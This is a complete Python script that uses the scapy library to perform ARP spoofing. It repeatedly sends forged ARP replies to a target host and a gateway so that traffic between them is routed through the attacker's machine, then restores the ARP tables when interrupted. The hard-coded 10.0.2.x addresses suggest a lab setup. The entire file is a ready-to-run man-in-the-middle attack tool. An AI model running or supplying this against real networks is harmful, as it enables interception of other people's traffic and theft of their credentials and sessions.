import scapy.all as scapy
import time
def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered = scapy.srp(arp_request_broadcast, timeout=1, verbose = False)[0]
    return answered[0][1].hwsrc


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
    source_mac=get_mac(source_ip)
    destination_mac = get_mac(destination_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip,hwdst=destination_mac, psrc=source_ip,hwsrc=source_mac)
    scapy.send(packet,count=4,verbose=False)
 

target_ip = "10.0.2.15"
gateway_ip = "10.0.2.1"

try:
    sent_packet_count=0
    while True:
        spoof(target_ip,gateway_ip)
        spoof(gateway_ip,target_ip)
        sent_packet_count = sent_packet_count + 2
        print("\r[+] packet sent: "+str(sent_packet_count), end="")
        time.sleep(2)
except KeyboardInterrupt:
    print("[+] Detected ... CTRL + C Reseting ARP Table.... please wait.")
    restore(target_ip,gateway_ip)
    restore(gateway_ip,target_ip)